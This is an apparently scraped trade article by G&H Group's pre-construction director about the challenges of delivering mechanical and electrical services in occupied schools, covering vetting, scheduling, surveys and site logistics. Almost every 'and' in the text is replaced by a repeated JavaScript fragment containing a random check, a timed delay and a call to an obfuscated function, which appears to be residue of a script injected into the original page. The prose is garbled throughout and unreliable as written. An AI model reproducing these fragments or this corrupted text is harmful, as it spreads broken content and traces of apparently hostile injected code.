G&H Group’s Pre-Construction Director, David Davis, explains how delivering mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical (M&E) services in live education facilities presents a host of unique challenges.
Introduction
A clear strategy is vital as is specialist knowledge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding. While all the usual health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and safety considerations are needed when working on-site, adding pupils, teachers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and term times presents completely different implications to be factored into the planning process. Live environments such as schools require far greater levels of management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and communication with both the main contractor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and client team. Programmes are usually tight to ensure the curriculum is not affected yet at the same time, invasive works have to be carried out during the limited school holiday periods. There are also a number steps that need to be taken before you arrive on site to meet government legislation which differ from everyday contracts.
Get vetted
Before you begin, your workforce, including office staff have to comply with the Department for Education’s Keeping Children Safe in Education regulations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and must be checked under the Disclosure andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Barring Service – the new name for the Criminal Records Bureau. One of the key elements of the regulations involves what is andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and isn’t permissible when working in an environment close to pupils. For example, engineers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operatives may be walking between work areas in corridors where pupils andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and students may be present yet they are not allowed to communicate with them. This can be a hard andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and unnatural thing to manage especially if pupils are showing a keen interest in the work or conversely the students can be rude to operatives to generate a reaction but this has to be ignored.
The right psychology
Given this somewhat unusual scenario, it is vital management spends time explaining to their workforce how projects in education facilities are different. You have to make your staff understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the implications andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and manage the scenario in a professional manner should it occur. Tool box talks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other training needs to be geared around pupil protection as well as the usual H&S concerns. The psychology of working on school projects can’t be underestimated. Projects are usually lengthy from an M&E perspective andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and very intense due to the variety of self-imposed deadlines that need to be set given the limited opportunities to access certain areas. As such, this requires a degree of commitment from the workforce. They are going to be needed on-site long before the bell rings at the start of a day, after pupils have gone home andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for lengthy periods over weekends. A further consideration is that operatives will need to work during the school holidays which is when they may want to be having a break with their own children. This is a demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding task when large projects can last from 18 months to two years.
Learn the school rules
Maximising the opportunity to access classrooms andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and staff rooms that are not available during term time requires close andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and regular liaison with the school andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and main contractor to ensure that other planned works do not clash during these limited windows of opportunity. Each school, college or university has different rules for those managing its facilities. In many ways it is like a jigsaw with the various pieces having to be put together to complete the work. The best way of planning the works is to have good, regular communication lines established. When power needs to be decommissioned, this can’t be done when lessons are being taught. Invasive M&E that require access to classroom ceilings or particularly noisy work, for example, can’t take place when there’s a room full of pupils studying, even in adjacent rooms. Equally, there can’t be any downtime so detailed planning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and regular analysis of progress is required. Plans need to be refined andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and revised at daily meetings.
Do your homework
The importance of surveying the existing systems cannot be underestimated as some of the facilities may not have accurate or up-to-date records andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and may well need bringing in line with current legislation prior to being modified. Being aware of this at the outset makes a significant difference to the whole operation from a time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cost perspective as enabling works may need to be undertaken which have not been anticipated. If you start uncovering antiquated systems on a refurbishment project, you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the client are going to be in for a nasty financial surprise because on certain systems you can become liable as you will “own” the system. This can have huge implications. Projects will overrun andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and therefore put your timetable out of sync; the workforce you’ve assigned to your next job won’t be available at the envisaged time; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, there will be an increase in labour costs needed to cover the extra work.
Logistical challenges
Complex schemes involving new build andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the refurbishment of existing premises provide differing logistical challenges. Meticulously-planned just in time delivery is vital to getting materials on-site at the right moment without disrupting other contractors or the school itself as the storage areas are generally limited due to site restrictions. Once again, regular liaison with all parties is crucial. You need to know the access you have, when it’s available andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how long for. It’s important to factor in some time for other contractors in case their work overruns andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and always have a plan B to make sure there’s no downtime. And of course remember in early morning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mid-afternoon there will be a huge number of buses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cars on-site; staff arriving andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leaving work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and parents dropping off andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and collecting their children, so maintaining clear access in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and around the school’s road infrastructure is vital.
Specialist equipment
Whilst the equipment on school sites is the same as normal sites, allowance has to be made for more storage areas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and secure tool vaults to avoid any tools to be left unattended. Normal site barriers have to be full height non-vision to discourage students from entering the workspace. The use of battery powered handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tools is best practice as it reduces the need for trailing power leads around the site.
